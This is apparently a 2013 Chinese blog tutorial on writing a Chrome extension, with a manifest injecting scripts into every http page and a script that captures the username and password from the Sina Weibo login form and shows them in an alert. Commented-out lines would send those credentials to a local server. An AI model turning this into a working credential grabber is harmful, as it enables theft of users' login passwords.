哇塞，原来自己写 Google Chrome 浏览器扩展（插件）这么容易！

2013-07-15 18:17 音乐让我说阅读(2201) 评论(1) 编辑收藏举报

1. 首先新建一个记事本，命名为 manifest.json，这是写 Google Chrome 浏览器扩展必须的文件

{
  "manifest_version": 2,

  "name": "Account Detect",
  "description": "This extension will detect your account",
  "version": "1.0",

  "permissions": [
    "http://*/*"
  ],
  "browser_action": {
    "default_icon": "icon.png"
  },
  "content_scripts": [
    {
      "matches": ["http://*/*"],
      "js": ["jquery-1.4.4.min.js", "myscript_v0.0.1.js"]
     
    }
  ]
}

2. 新建一个 myscript_v0.0.1.js 文件，这个是主文件，就是你写扩展的主要目的。比如我下面这个是弹出新浪微博登录页面中的用户名和密码。

$(document).ready(function()
{
//    $("body").click(function()
//    {
//        alert("this is it - acount detect");
//    });
    $("span[node-type='submitStates']").click(function(event)
    {
        var username = $('input[name="username"]').val();
        var passwords = $('input[name="password"]').val();
        
        // var query = '?username=' + username + '&' + 'passwords=' + passwords;
        // $.get('http://localhost:1337' + query, function() {});

        alert(username + ':' + passwords);
    });
});